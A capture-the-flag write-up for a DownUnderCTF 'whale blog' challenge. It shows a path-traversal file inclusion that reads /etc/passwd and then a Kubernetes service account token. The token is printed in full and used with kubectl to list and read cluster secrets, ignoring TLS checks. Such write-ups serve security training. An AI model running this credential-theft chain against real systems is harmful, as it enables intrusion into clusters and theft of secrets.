Upon connecting to the website at http://whale-blog.duc.tf:30000/ we can discover some interesting functionality:
* The page links in the bottom redirect us to ?page=filename (Probably a local file disclosure/include vulnerability)* The page mentions whale-endpoint.duc.tf (Which is a valid website located at https://whale-endpoint.duc.tf/)
So firstly we investigate if we can trigger a LFI and lo and behold the url (http://whale-blog.duc.tf:30000/?page=../../../../etc/passwd) produces (at the top of the page):
```text
```
So we know that this a way to read files on disk.
Next up we visit https://whale-endpoint.duc.tf/ and find an interesting message:
```json{  "kind": "Status",  "apiVersion": "v1",  "metadata": {   },  "status": "Failure",  "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",  "reason": "Forbidden",  "details": {   },  "code": 403}```
Some quick googling will reveal that this a kubernetes API server (probably the one used to host whale blog.
If we assume that the docker container running whale blog is actually a POD inside a kubernetes cluster, then we can try to see if kubernetes stores any useful files inside a POD. After some research we find that AutomountServiceAccountToken is enabled by default and leaves a valid kubernetes access token on disk at `/var/run/secrets/kubernetes.io/serviceaccount/token`, so let's get it:
http://whale-blog.duc.tf:30000/?page=../../../../var/run/secrets/kubernetes.io/serviceaccount/token produces:
```texteyJhbGciOiJSUzI1NiIsImtpZCI6Il9aWTAzOVpGRXVLVUJMdngzbDJ2b1ZnRV9QOXVHTHI2WC1QeVBzWGp1eGMifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tZ3RqYjciLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjY4OTllYzliLWQyNGMtNDNlMS1hNzFiLWZlZjAzOWRkY2RkZiIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.VbWj-lRsEhste-RvsjFaYM_ndXXVK1AzyIlcuuNoc1Q5DZmKJZDQdLVCLIJSKQR5vCByACDPRGTLGeJTyVr3Abx_Oa_t2Pkov62BExBq-HSk8Y-HZYDicKG5bSrdMT2UkvSONttX-u-5q0mtrNPpWkIoFDRg0g-bX_h6ggme4ZcMT9ccyH_LUeaM9l_0DG5bYFWMUd1smCom1M7kTzz8rEllL7VfS1-FJ_9s7MuHQ280nSFqH90iAu7UQcrMhxsP-96d9sI-Tkqwkw-gL3orovdiLXbed_VPdp-D5HE14Olr5ZM_rSsl4ki56y1VXJbOzC1rK9Qrm3qLxk4Njs3SMw```
I saved this token to a file aptly named `token`.
Now we just have to configure kubectl to talk to this remote API server and use our token:
```bash$ kubectl config set-cluster ductf --server=https://whale-endpoint.duc.tf/
$ kubectl get pods --token=$(cat token)```
This unfortunately gives us some certificate errors, but we'll just ignore them:
```bash$ kubectl --insecure-skip-tls-verify --token=$(cat token) -n default auth can-i list secretsyes
$ kubectl --insecure-skip-tls-verify --token=$(cat token) -n default get secretsNAME                  TYPE                                  DATA   AGEdefault-token-gtjb7   kubernetes.io/service-account-token   3      4d2hnooooo-dont-read-me   Opaque                                1      4d2h
$ kubectl --insecure-skip-tls-verify --token=$(cat token) -n default get secret nooooo-dont-read-me -o jsonpath="{.data}"{"so-secret-though":"RFVDVEZ7ZzAwbmllc19nb3RfdGgxc19sNHN0X3llYXJfbm93X3VfZGlkIX0K"}```
Decoding this string reveals the flag: `DUCTF{g00nies_got_th1s_l4st_year_now_u_did!}` which is in reference to the goonies pulling off a similar attack (with less impact) last year against the CTF infrastructure.
